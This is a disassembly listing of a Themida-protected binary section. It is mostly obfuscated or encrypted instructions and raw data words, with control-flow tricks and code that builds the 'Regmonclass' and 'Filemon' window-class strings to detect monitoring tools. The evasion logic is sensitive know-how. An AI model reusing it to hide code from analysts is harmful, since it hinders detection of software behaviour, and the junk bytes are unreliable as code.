lock mov byte ptr [esi], 16h ; CODE XREF: Themida_:005F870Cj
jb short near ptr loc_5F8699+2
dec dword ptr [ebx]
adc eax, 0F0707D57h
loc_5F86B2: ; CODE XREF: Themida_:loc_5F8711j
; Themida_:loc_5F8643j ...
xor eax, 0A672161Eh
inc dword ptr [edi]
adc eax, 0F0707D7Ch
int 1Fh ; (NOT a vector!) GRAPHICS SET 2
; pointer to bitmaps for high 128 chars (eight bytes per character)
push ss
jb short loc_5F872F
inc dword ptr [ebx]
adc eax, 0F0767D19h
in al, 5Dh
sbb [edx+35h], esi
loc_5F86CF: ; CODE XREF: Themida_:005F8661j
push dword ptr [esi+767DB514h]
lock rcl byte ptr [esi+19h], cl
jb short near ptr loc_5F86F7+2
push dword ptr [edx-6382DFECh]
loc_5F86E1: ; CODE XREF: Themida_:005F869Dj
mov dh, 0B0h
icebp
adc [ebp+75FD7AF2h], ebx
and edi, ebx
pop ss
sub bl, dh ; CODE XREF: Themida_:loc_5F872Fj
xchg eax, ecx
cli
and eax, 0FDF53FD5h
lodsd
loc_5F86F7: ; CODE XREF: Themida_:005F86D9j
xor [esi+ebx*4-48CBDD70h], bl
iret
; ---------------------------------------------------------------------------
db 7Ah
db 0ACh, 23h
; ---------------------------------------------------------------------------
loc_5F8702: ; CODE XREF: Themida_:loc_5F8685j
mov bh, 29h
lodsd
and [edx], bl ; CODE XREF: Themida_:005F8707j
jp short near ptr loc_5F8705+1
jnz short loc_5F8784
daa
jl short near ptr loc_5F86A5+1
cmp al, 18h
push ss
loc_5F8711: ; CODE XREF: Themida_:005F876Fj
; Themida_:005F8779j
jb short near ptr loc_5F86B2+1
loc_5F8713: ; CODE XREF: Themida_:loc_5F86A3j
jmp fword ptr ds:0C87D7DC4h[edx]
; ---------------------------------------------------------------------------
dw 1A46h
dd 9CF7216h, 75E4C5B4h, 0BAF9B54Bh, 0EF863589h
; ---------------------------------------------------------------------------
mov dl, 14h
push edi
loc_5F872F: ; CODE XREF: Themida_:005F86C1j
jge short near ptr loc_5F86ED+1
; ---------------------------------------------------------------------------
db 0FEh, 96h, 2Bh
dd 7A2F7A45h, 35028AFDh, 0F7CC9E9Ch, 9185A748h, 0FCC6F8FAh
dd 7E4B9D50h, 6FCF75FDh, 7A5E7645h, 35BA8AFDh, 0F7909E9Ch
dd 91ABA748h, 0FCD1F8FAh, 23228A50h
; ---------------------------------------------------------------------------
pop ds
loc_5F8769: ; CODE XREF: Themida_:005F878Dj
mov esp, 152CF787h
push edi
jge short loc_5F8711
sub eax, 2CA32005h
in al, dx
xchg eax, edx
insd
ja short near ptr loc_5F8711+1
jp short loc_5F87CA
int 0C1h ; used by BASIC while in interpreter
jns short loc_5F87D8
mov dh, [eax+31h]
loc_5F8784: ; CODE XREF: Themida_:005F8709j
pushf
sahf
cmc
sar dword ptr [esi], 1
popf
loc_5F878A: ; CODE XREF: Themida_:005F878Bj
pop es
js short loc_5F878A
jnz short loc_5F8769
retn 0CD9Bh
; ---------------------------------------------------------------------------
dw 5954h
dd 0EFD0DE9Bh, 7D7C14B6h, 9208DE9Bh, 7AE57795h, 72F3360Bh
dd 0EF866E88h, 7D5714B6h, 7954C54Dh, 31BA8AADh, 20909E9Ch
dd 7E2BF69Bh, 1C277E9Bh, 6B1AB656h
db 0FFh, 75h
; ---------------------------------------------------------------------------
loc_5F87CA: ; CODE XREF: Themida_:005F877Bj
jns short near ptr loc_5F87F4+1
adc eax, 0FD7ABE4Eh
das
mov al, gs:59A57B89h
loc_5F87D8: ; CODE XREF: Themida_:005F877Fj
cmp eax, 0DF709491h
cmc
pop es
mov edx, 0D183FE4Dh
db 3Eh
popf
add [ebx-3], bh
jnz short loc_5F8815
xchg eax, edx
loope loc_5F8865
mov esp, 844EA77Ah
push cs
loc_5F87F4: ; CODE XREF: Themida_:loc_5F87CAj
adc al, ch
dec ecx
rcl byte ptr [esi], 1
test eax, 75FCA77Fh ; CODE XREF: Themida_:005F881Bj
retf
; ---------------------------------------------------------------------------
db 8Ch
dd 0FED74BEh, 7B1A26D3h, 207975FFh, 72BD360Bh, 0A0655488h
db 89h
; ---------------------------------------------------------------------------
loc_5F8815: ; CODE XREF: Themida_:005F87E9j
push 913D59A5h
xchg eax, esp
jo short near ptr loc_5F87F9+3
cmc
pop es
mov edx, 85B5FF4Dh
push 0FA91933Eh
das
pop ds
pop edi
std
push ecx
fidiv dword ptr [ecx+3Fh]
adc esi, ebp
mov ecx, 9285E94Dh
mov ebp, 4D7A9774h
hlt
; ---------------------------------------------------------------------------
dw 9261h
dd 7AE57435h, 7AF22D15h, 5791DEFDh, 0CABC75FCh, 0CA9DDF60h
dd 5BC7DF61h, 1C9775FCh, 1C4A1345h
; ---------------------------------------------------------------------------
push esi
loc_5F8861: ; CODE XREF: Themida_:005F8871j
popf
loc_5F8862: ; CODE XREF: Themida_:005F8863j
inc ebx
jnp short loc_5F8862
loc_5F8865: ; CODE XREF: Themida_:005F87ECj
jnz short loc_5F8881
dec esp
loc_5F8868: ; CODE XREF: Themida_:loc_5F8881j
std
jnz short loc_5F88E4
sbb al, 56h
popf
mov dh, 7Bh
std
jnz short loc_5F8861
out 57h, eax
mov dh, 9Fh
out 57h, al
popf
imul edi, [edx-3], 0FCF32375h
loc_5F8881: ; CODE XREF: Themida_:loc_5F8865j
jnz short loc_5F8868
; ---------------------------------------------------------------------------
db 8Ch
dd 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h, 9EDEDFFDh, 84487DF9h
dd 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh, 0EF0D75FDh, 7D9214B2h
dd 1BAAC070h, 8A5D7216h, 0D02C7F51h, 1BDCE002h, 92087216h
dd 7AE574E5h, 79F8254Dh, 844B9D57h, 43548A02h, 0CA5E75FCh
dd 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh, 851A8BE1h
; ---------------------------------------------------------------------------
loc_5F88E4: ; CODE XREF: Themida_:005F8869j
wait
int 0FDh
dec ebx
wait
ficom word ptr [ecx+438A036Bh]
retf 0DFA7h
; ---------------------------------------------------------------------------
dw 22EEh
; ---------------------------------------------------------------------------
push edi
mov dh, 9Fh
xchg eax, edx
push edi
and bh, [edx+edx*4]
or al, 75h
retf
; ---------------------------------------------------------------------------
db 7Ah
dd 5122FEA7h, 7E1AF63Fh, 8B917774h, 92438A00h, 7A5E7505h
dd 79252D4Dh, 0FF69B657h, 7D201535h, 1A2DC87Dh, 0FF37216h
dd 40FCF8ECh, 2ABB9E9Ch, 7A5C6115h, 781B9DFDh, 1A2775FDh
dd 87759D57h, 0C30D8A02h, 0CA0D8A00h, 0F787DF9Ch, 7D571535h
dd 1A96C87Dh, 0F2F7216h, 4012F8F1h, 2ACC9E9Ch, 7AE4DE15h
dd 7E4AB6FDh, 857975FDh, 91DD3A68h, 0EDC3F8FAh, 0F0289E98h
dd 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h, 0F1A875FDh, 0F9BB5E3Ah
dd 78357115h, 31CB8A3Eh, 0CE289E9Ch, 0E96514Ah, 0CA74C1FFh
dd 924E13F2h, 7AF275C9h, 7A279DAEh, 0F0E675FDh, 79BEB5FEh
dd 7825B5F1h, 0EF68B657h, 7D2014B6h, 0FAEA917Dh, 7542F539h
dd 0D12EDE9Bh, 85415A15h, 0BDD52F02h, 92ACB7D6h, 0B995FCF9h
dd 7ACB7345h, 35708AFDh, 0F7F59E9Ch, 91185B60h, 39A0F8FAh
dd 7A4ECD3Eh, 0EFD075FDh, 7D7C14B2h, 0F1CEB57Eh, 0EF1A8935h
dd 7D1914B6h, 0B98E9757h, 8543BE15h, 7B1DFF02h, 8E5A72D9h
dd 6C7F7677h, 8CB75FCh, 831DB616h, 0F1A78908h, 86BDF611h
dd 7ABC9D9Dh, 0FB0475FDh, 914AD217h, 86EAFCFAh, 1B81CF7Dh
dd 75E57216h, 7AF2EC79h, 7A73CDFDh, 0E84375FDh, 7DB514B2h
dd 29ADFCBDh, 0F1909E9Ch, 179F835h, 85E29E9Bh, 91933E6Fh
dd 3C7FFDFAh, 6D04801Fh, 795E75FDh, 914E267Fh, 0E01A35FAh
dd 7D201392h, 0F3E1B67Eh, 644B22FEh, 797975FDh, 91DD2677h
dd 27ECF8FAh, 89289E9Bh, 722F2B59h, 85CB75FDh, 91843A6Fh
dd 7E0AF6FAh, 7C718589h, 7ABC7244h, 4B5A7DFDh, 0BBF7C3F2h
dd 742E761Eh, 72CB75FDh, 765C44E1h, 72F275FDh, 61C044F9h
dd 72BC75FDh, 66E744F9h, 722F75FDh, 5B7F44F9h, 0F3348A01h
dd 0F1848980h, 0B93B8980h, 7A7F9DADh, 229C75FDh, 8E7A1102h
dd 5E6BFCA5h, 3E16E905h, 2CB389D9h, 3A7867C9h, 7AF2B6ADh
dd 7A7975FDh, 7ABC75FDh, 1AB2FEA8h, 7A2F7515h, 90162FFDh
dd 7D201373h, 1BB2CF70h, 0F797216h, 7A71CCF5h, 0DE4F75FDh
dd 7E9CBC9Ch, 0E7A226FDh, 7D7C14AAh, 7BD3497Dh, 83BE7188h
dd 82A97716h, 96F2203Eh, 7ABC9D9Dh, 0FB0475FDh, 9149B217h
dd 2D25F8FAh, 0F1CC9E9Ch, 725C7D80h, 89F275FDh, 0B8B01459h
dd 0F7DC75F9h, 913F2240h, 0C3EF46FAh, 7A9775F5h, 0B9AADF0Eh
dd 2D58F89Dh, 0FBF59E9Ch, 7B7874C2h, 0FBB000FCh, 7B5F7182h
dd 795A74FCh, 82969E04h, 0F7ABB69Ch, 91842240h, 7AF3CDFAh
dd 72C075FDh, 89BC75FDh, 0F19D1457h, 0F7EFFE3Dh, 91F61178h
dd 8BD08AFAh, 16EBCAh, 4 dup(0)
dd 1000000h, 5F401h, 6A07EB00h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 7BFC357h, 0C794F209h
dd 0F0C17DBh, 66605690h, 5774F5B9h, 505B6159h, 6A90D88Bh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 0FE80C356h, 6A6B18h, 59506057h, 50DA8166h
dd 6A5F6182h, 0D1BD8B00h, 8D07E406h, 0EB686785h, 7D8D8B07h
dd 9007E42Bh, 80BF5760h, 59762512h, 0BE9h, 0CA253200h
dd 561EE1C7h, 0D78D38Fh, 60515061h, 8B66E18Ah, 905B61C3h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 7DC35242h
dd 8B1EBCDCh, 0BB66023Dh, 6A698Dh, 6FD98166h, 81006ADFh
dd 0A77E25CFh, 7195FF35h, 6007E424h, 3579958Bh, 0F18B07E4h
dd 5DEE961h, 6A0000h, 3E856h, 5E200000h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_5F8CCD: ; DATA XREF: Themida_:00584640o
pop esi
mov [esp+4], esi
add dword ptr [esp+4], 14h
inc esi
push esi
retn
; ---------------------------------------------------------------------------
push ecx
pusha
mov esi, [ebp+7E40A85h]
mov [ebp+7E431D1h], edx
popa
add [ebp+7E4017Dh], ecx
loc_5F8CF2: ; DATA XREF: Themida_:005840D0o
call $+5
pop ebp
sub ebp, 7EB686Ch
push 0
push ebp
call sub_5F8D09
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F8D09 proc near ; CODE XREF: Themida_:005F8D01p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5F8D09 endp
; ---------------------------------------------------------------------------
pop edi
cli
xchg esp, [esi-46h]
xchg eax, esp
and [ecx+1CEB0EEFh], al
aaa
mov bh, ch
push 2270D7FEh
mov bx, ax
xor dword ptr [esp], 2270D85Eh
mov [ebp+7E41C45h], ebx
call dword ptr [ebp+7E40E41h]
push 0
push ebx
call sub_5F8D4E
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F8D4E proc near ; CODE XREF: Themida_:005F8D46p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5F8D4E endp
; ---------------------------------------------------------------------------
sahf
fimul dword ptr [edx+2DBD8BDCh]
or esp, esp
pop es
lea esi, [ebp+7EB6738h]
mov cx, 4C51h
mov dword ptr [esi], 6D676552h
mov [ebp+7E425D9h], ebx
mov edi, ecx
mov dword ptr [esi+4], 6C636E6Fh
push 0
push eax
call sub_5F8D92
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F8D92 proc near ; CODE XREF: Themida_:005F8D8Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5F8D92 endp
; ---------------------------------------------------------------------------
adc eax, 0DC6535F9h
test [ebx], dl
rcl dword ptr [edx], 1
add cx, 0FA30h
mov dword ptr [esi+8], 737361h
push 0
push edi
call sub_5F8DC3
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F8DC3 proc near ; CODE XREF: Themida_:005F8DBBp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_5F8DC3 endp
; ---------------------------------------------------------------------------
and eax, 8BB3C1B1h
mov ebp, 7E417C5h
push 0
push 0
push edx
call sub_5F8DEA
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F8DEA proc near ; CODE XREF: Themida_:005F8DE2p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5F8DEA endp
; ---------------------------------------------------------------------------
dw 383Eh
dd 89179C77h, 0E403458Dh, 38858D07h, 6A07EB67h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 535AC350h, 0F1160144h, 56C1A7F5h, 68D0Fh, 85310000h
dd 7E41AC1h, 0F19D0B5Fh, 5007E417h, 0AE95250h, 92000000h
dd 0FB87833Dh, 91865DE0h, 66310F68h, 5A471EB9h, 24048958h
dd 19CD9D89h, 95FF07E4h, 7E42C35h, 0BFB0EA81h, 0C00B5DD1h
dd 1B840Fh, 8B660000h, 3D4E9D9h, 820F0000h, 0Dh, 8E9h
dd 9BDB9B00h, 44D16373h, 0A126685Fh, 0EE94929h, 85000000h
dd 0B3B601E4h, 2D3E9505h, 88256831h, 24348105h, 4929A00Ah
dd 95FFFBB5h, 7E40E41h, 0DE8h, 6E60BF00h, 819096E0h, 1AD20BF4h
dd 8166F722h, 59FC7CC1h, 6738B58Dh, 6A07EBh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 808702C3h
dd 2820FD2h, 0B1000000h, 3106C730h, 6A363438h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 9F91C357h, 858948CEh, 7E41925h, 6870Fh, 9D890000h, 7E4207Dh
dd 370446C7h, 6A31342Dh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 9242C355h, 38D464E4h
dd 958BF3BDh, 7E42D51h, 846C7h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8989C355h
dd 0E40A19BDh, 6E807h, 52950000h, 1DBCB146h, 8C0F50h, 59000000h
dd 6A006A59h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 0FDB1C351h, 30B62CEBh, 950364CAh
dd 7E42631h, 0DE85752h, 0F9000000h, 94919A12h, 96978E7Ch
dd 63CB4D0Dh, 8D5B5B5Fh, 0EB673885h, 3BA6607h, 52509017h
dd 0D98B6656h, 0E9310F5Bh, 7, 39F3A3E6h, 5ADF77A1h, 8E85058h
dd 0B5000000h, 2DBA95F9h, 0BF4B1A75h, 1C074147h, 9D33905Bh
dd 7E42D59h, 2C3595FFh, 0BD8B07E4h, 7E42EFDh, 0C5CED781h
dd 0C00B7B96h, 45840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 0E33005C3h, 1D9AD6F2h
dd 0FD958960h, 0E807E41Ch, 8, 91079735h, 5AB9ABFFh, 61585A56h
dd 241DB589h, 0D3E907E4h, 68000001h, 0F4A81A0h, 348196B7h
dd 4A808C24h, 4195FF0Fh, 907E40Eh, 0E4333D9Dh, 0F605007h
dd 8Fh, 0EE900h, 3DC50000h, 4133086Ch, 3684110Ch, 34D50029h
dd 0B58D5B61h, 7EB6738h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 76C35141h, 0F741CCC6h, 6E64964Ch, 4606C75Ch
dd 0B1656C69h, 446C763h, 636E6F6Dh, 6880Fh, 950B0000h
dd 7E42C51h, 25BDB531h, 46C707E4h, 73616C08h, 51006A73h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 0DA4B75E4h, 0EDF517h, 9D89ACE9h, 7E40E69h, 0AE8h, 0FA8F0700h
dd 58763D57h, 66FB658Ah, 5B0701BAh, 0C46C7h, 0F000000h
dd 586h, 95D9BB00h, 6A0E2Dh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 29C35343h, 9B4C6A95h, 0EE580AD2h
dd 0E99D8BFEh, 8D07E40Eh, 0EB673885h, 53006A07h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 8DA1AF80h, 0EF406B4Fh, 8B669046h, 0D2B250F9h, 57006A90h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 0C3F95BA0h, 0C3DACFF8h, 0FCB63493h, 2C3595FFh, 6A07E4h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 86DEDAC3h, 0C00BFFDCh, 35840Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8D8989C3h
dd 7E43075h, 598D2356h, 5A07E42Bh, 15E9h, 0C59D8B00h, 0E907E420h
dd 0FFFFFAA6h, 18B0Fh, 66F90000h, 0B58DCF8Bh, 7E472B7h
dd 0DE58D33h, 0B807E4h, 0F000000h, 68Dh, 39858900h, 0FF07E431h
dd 57006AE6h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 0ED2268C8h, 253A3B77h, 9D8B3C42h, 7E4140Dh
dd 29E9C18Bh, 72000039h, 0CEE4789Ah, 2B41D5F5h, 8BA1354Fh
dd 0EE0498ACh, 8A63F713h, 0F410EB64h, 52704A60h, 0B4CAA8BEh
dd 152D0A20h, 0A11ECE81h, 13A9CEDAh, 54A43378h, 17F49277h
dd 0A0F48B08h, 0F9621442h, 0BBCD68A0h, 65ACC4A1h, 7A5621AAh
dd 38502Dh, 0AAC50C65h, 61795621h, 7A9A7311h, 7D4E9368h
dd 165D7D56h, 35922092h, 4159ABCBh, 77E0692Fh, 94CBAF1Fh
dd 0D3EBE0EFh, 7C56F193h, 0D932522Bh, 0B618AA92h, 37C8B644h
dd 0E24DE0DFh, 1442411Dh, 693E50B9h, 165D7D56h, 785621AAh
dd 7D5C2A62h, 2AF33169h, 3634367Ah, 0EBB8DC4h, 8FA13385h
dd 0E893D3BAh, 0A0720986h, 77E01442h, 79569065h, 42A0AD4Fh
dd 6ABA2314h, 0A8E1BFF8h, 1C2EBEDEh, 450AC147h, 0AC108203h
dd 0FAA1C5FAh, 0A444192Bh, 0F193D327h, 0AD4F7956h, 231442A0h
dd 3B94A887h, 87E9D9F4h, 42A0750Ah, 6678E114h, 61795691h
dd 567D4E1Ah, 0AA1B6278h, 62785621h, 0B618AA1Bh, 0B5203E18h
dd 1442A0CEh, 0B897238Ch, 0BFD16CA4h, 880E45EAh, 93D317B4h
dd 576B4AE8h, 78567045h, 7D4E1B62h, 0F5F7B56h, 40789871h
dd 0DBCAA69Eh, 6BC4C30Eh, 20928459h, 8BA6F46Dh, 16C5D730h
dd 5F7B565Fh, 5B0AC118h, 0E893D370h, 0A0720986h, 77E01442h
dd 79569065h, 21AA1A61h, 175E7C56h, 9C7A18AAh, 0A1B34E86h
dd 0D3EBE0CCh, 7856F193h, 0E5DD1B62h, 19516B47h, 0FD15F27Eh
dd 785616EBh, 5C661B62h, 0B8CAE0BEh, 627856E3h, 567D4E1Bh
dd 0B0126278h, 42A04C33h, 8F6E0A14h, 3B10227Bh, 785621AAh
dd 33B01262h, 1442A04Ch, 0A2DAF2CFh, 3B4DB607h, 560AC166h
dd 0C11B6278h, 92705B0Ah, 75F33C20h, 0F204291Ah, 92731155h
dd 0B0327720h, 54662906h, 0CE4B603Ah, 14425E29h, 5E5229A6h
dd 97001442h, 3D84DD46h, 0F4920AC1h, 0D2ECFE18h, 0F08EDEF4h
dd 10E5F717h, 4177F2D9h, 1914425Fh, 1B627856h, 78567D4Eh
dd 85A01262h, 2155BEA7h, 0C1EABFD1h, 4F79560Ah, 1442A0ADh
dd 39B0B323h, 5A663C0Fh, 0AC1BA01h, 93D314B7h, 2F7856F1h
dd 69043C50h, 0F2D9C910h, 1B627856h, 9512744Eh, 1442A0EEh
dd 1CF1036Ch, 19607A56h, 7D5621AAh, 0EEDD165Dh, 19607A56h
dd 44776566h, 14144240h, 10607A56h, 77A26E9Eh, 0AD48809Ch
dd 0BE61244Dh, 7D4ED7ACh, 19607A56h, 367721AAh, 0FDEBBD5Fh
dd 0EBCFF8Bh, 7183A267h, 6179569Ch, 677D5B29h, 6E82612Fh
dd 0D79E9B36h, 0E7E6E3AFh, 56F193D3h, 9219607Ah, 0F3CE15F4h
dd 0AB049FD7h, 0FF9D7799h, 33CE0626h, 78564C21h, 21AA1B62h
dd 45B3CE77h, 1BF795E0h, 1C2EC901h, 44E2E047h, 6A3F5165h
dd 0CCB33092h, 8A1442A0h, 0C0F812EEh, 0FF7CCC25h, 1442A078h
dd 0BE5B6DD6h, 1461D386h, 6843CFECh, 56FACFE1h, 7210607Ah
dd 0AA457D95h, 7D4EC398h, 8F202092h, 9BCDE959h, 15876D89h
dd 0AD851762h, 0D0A5B719h, 3B777754h, 0A1442BFh, 80542BA8h
dd 99021442h, 7856B287h, 0E33C502Fh, 0CF16F593h, 39ED6F6h
dd 0AAC398AAh, 6B09B921h, 0A03B7391h, 3092B98Eh, 0DB2266BEh
dd 0ECFE9748h, 42ED0CF3h, 0EC69CB14h, 1442ED17h, 344827C3h
dd 0F60861FCh, 9267AE17h, 0A0CCB330h, 307B1442h, 9D061F9Ah
dd 1693F344h, 1442E161h, 0CB2B84EDh, 76BEA32Fh, 0BEE0F264h
dd 0B82277EDh, 53F11442h, 910E5E76h, 1442B9EAh, 18EDFF68h
dd 1A617956h, 12B921AAh, 0B5923092h, 0ED928B9Dh, 6A1442A0h
dd 30EE73F8h, 43D93955h, 0CBE7C26Bh, 8D9FF893h, 1A3812AEh
dd 0F4927AC1h, 9472FE18h, 794A6C7Eh, 42DD5177h, 77562914h
dd 97751363h, 929A6F81h, 0ECCB18F4h, 0AC477FD8h, 182A4420h
dd 0DF4EC052h, 9C1774F7h, 0EB17F8h, 227B9E7Bh, 79563B10h
dd 658E2961h, 6E1592BEh, 0EC1442A0h, 7D4E3C83h, 0D9EDCCBAh
dd 5C67445h, 42A08077h, 0E6E55814h, 4AE893D3h, 7045576Bh
dd 115F492h, 61DE2EC9h, 1442A09Ah, 0FBBDCF38h, 5E7C566Ah
dd 0F00D9C0Eh, 0FD43813Eh, 309216EBh, 0AA7135BEh, 3EA9E655h
dd 14429CB9h, 859B7915h, 985FDC2Ch, 3614429Ch, 6CF5BBCDh
dd 159212B9h, 1442A06Eh, 4E3C83ECh, 607A567Dh, 9221AA19h
dd 0ECFE18F4h, 6DAE42F3h, 9573114Dh, 56986D7Fh, 4E19607Ah
dd 697A567Dh, 42A017ECh, 15AC314h, 1AF492BAh, 9B24EAFCh
dd 0AC85239Fh, 0AA86548Ch, 46D73790h, 0F6E7ED58h, 0D3DAAFC1h
dd 744EF193h, 0A0EE9512h, 36C1442h, 7A561CF1h, 199E1060h
dd 2D4522ADh, 45FA5AF5h, 5227391Eh, 2C9F21AAh, 4EF193D3h
dd 607A567Dh, 7D957210h, 7F9D7745h, 0A259D626h, 301442A0h
dd 0AAE0B5C7h, 4239B618h, 101442A0h, 77C095A7h, 4A898CDBh
dd 0D30BC0B3h, 986E893h, 1442A072h, 906577E0h, 16F492h
dd 11B2DC8h, 4EC40B25h, 597A567Dh, 0CE225677h, 3C520B89h
dd 11900868h, 920047A0h, 0EDFF17F4h, 7C569E27h, 7D4E175Eh
dd 19607A56h, 0F4927D4Eh, 0CFE9FB1Bh, 0AA93DAF2h, 0FF057721h
dd 56D5049Ch, 921A6179h, 0A0CCB330h, 218A1442h, 0A0AF54D1h
dd 0C22B1442h, 56BD8EB0h, 92175E7Ch, 0C80016F4h, 47370226h
dd 0C9229C94h, 5668F1B7h, 0AA1A6179h, 607A5621h, 667C5A28h
dd 6787602Eh, 0AFE3A36Ah, 93D3B3B2h, 213076E8h, 0B4F88A15h
dd 0F492CDA2h, 29C4FC1Ah, 523FD17h, 72092BEh, 5D4540D6h
dd 639BB792h, 3B5D6FC8h, 0AA12B96Ah, 61795621h, 927D4E1Ah
dd 0C7FF17F4h, 0A0C3B835h, 268F1442h, 5011BBCDh, 42A08077h
dd 5E6D5814h, 0AEF193D3h, 5E7C561Dh, 9221AA17h, 0AC3D120h
dd 65777F63h, 4C256C4Bh, 0E562F42Ch, 1442D51Eh, 0A1FA53BCh
dd 6D21AA5Ah, 0E893D35Eh, 43556D4Ah, 2B7C566Eh, 8ADA3351h
dd 0D9EC13ECh, 95D7AA3Bh, 6946D22Bh, 6C7E1951h, 567D4E97h
dd 0AA1B6278h, 4239B618h, 101442A0h, 25DA57A7h, 0B11442A0h
dd 77613648h, 49CFF05h, 2F7856D5h, 20D3253h, 9B38C76Ah
dd 166F0A42h, 567D4ECFh, 0AC0E5E7Ch, 42A0482Fh, 8B9D0614h
dd 5621AAB6h, 0A4CB5B78h, 3C38487Ah, 21AA9CE3h, 93D35E6Dh
dd 5E7C56F1h, 567D4E17h, 9EE6B78h, 0C51442A0h, 41B3035Ch
dd 0CCC81D4Dh, 754A5CD0h, 474D7D4Eh, 0A81E1B60h, 3A54B4CAh
dd 4289E25Ah, 115F492h, 561C2EC9h, 617956CDh, 567D4E1Ah
dd 4E175E7Ch, 0E3F7D674h, 51637957h, 0B34B777Ch, 56231442h
dd 0AE10607Ah, 42A04A31h, 0CA980814h, 6D4DF3C8h, 0F3C8DA33h
dd 0CCB33092h, 8A1442A0h, 0C0490F21h, 926B09B9h, 8D9F3A72h
dd 6E1592B8h, 0EC1442A0h, 7D4E3C83h, 7A5605C6h, 20921960h
dd 26D6BF9Dh, 9EC0D291h, 1EE562C4h, 0BC1442DFh, 926C4153h
dd 0C80016F4h, 25011B2Dh, 21AAC40Bh, 42A08077h, 5E6D5814h
dd 56F193D3h, 4E19607Ah, 16F4927Dh, 69D3A000h, 7840600Ch
dd 56704C66h, 7721AA0Fh, 1442A080h, 5F7B5658h, 647C5927h
dd 7E26ED2Ch, 0CB2D3532h, 42A0A94Eh, 0F50DEA14h, 54293BA4h
dd 92F193D3h, 9C626320h, 495B1023h, 0E939532Fh, 43556F4Bh
dd 927D4E6Eh, 0EFCA19F4h, 0A7009BD3h, 529F7B95h, 92245C76h
dd 42A06E15h, 2A83EC14h, 21AA8AD1h, 439709B9h, 4B5F3E88h
dd 2F6759EBh, 3092481Dh, 0A0AA51CEh, 0C8281442h, 42A0B44Bh
dd 60B92214h, 0A0AE554Eh, 8F2D1442h, 0A88799B3h, 18AAF83Fh
dd 0A04239B6h, 4011442h, 9440FFBCh, 7284ED3Eh, 6402C09Dh
dd 9A356D89h, 93D3B388h, 607A56F1h, 927D4E19h, 42A06E15h
dd 5A83EC14h, 182E0CAAh, 18AA3106h, 4A82A07Ah, 56C89DAFh
dd 9219607Ah, 0EECD16F4h, 0A96F81DAh, 0D30BC020h, 12B9F193h
dd 0A06E1592h, 83EC1442h, 927D4E3Ch, 0ECFE18F4h, 95DCF6D2h
dd 12B921AAh, 0A06E1592h, 50EC1442h, 87225A74h, 21AAE72Eh
dd 93D30BC0h, 607A56F1h, 0AE7D4E19h, 1BF4921Dh, 0F0CFE9FBh
dd 0AD2A8CDCh, 1442A0D6h, 0F00EE884h, 0B2C41DB8h, 0A618AADDh
dd 0F67B1236h, 5DAEC1Ch, 275F7B56h, 92BC638Ch, 0C6FE18F4h
dd 0A0C0B734h, 258E1442h, 470C6CCCh, 82EEC8DDh, 6E159270h
dd 0ED14424Ch, 9C9EAD7Bh, 0DBEDE5B5h, 924C93FCh, 0E9FB1BF4h
dd 0E8BEDC7h, 1442A069h, 0CCAD75E5h, 0A2D68290h, 92623749h
dd 0C90115F4h, 57231C2Eh, 61442A0h, 0FE7B8C68h, 1442A079h
dd 1136CD5h, 0B330922Ch, 1442A0CCh, 0F50F218Ah, 4EBB0216h
dd 6179567Dh, 7A18AA1Ah, 0AF4A82A0h, 7756C89Dh, 9B751363h
dd 0AA966B7Dh, 879B7A18h, 4D28B44Fh, 564A1F31h, 58265E7Ch
dd 0E8275F7Fh, 8E2D6521h, 0ED2092D3h, 0E6292617h, 9EC66375h
dd 617956E4h, 0B97D4E1Ah, 5621AA12h, 0B1136377h, 42A04F34h
dd 90A20B14h, 0C67D4EBBh, 0A0807705h, 6D581442h, 0BFDDB755h
dd 8260EC87h, 0D3855A6Ch, 1DAEF193h, 0ED6A7956h, 1442A016h
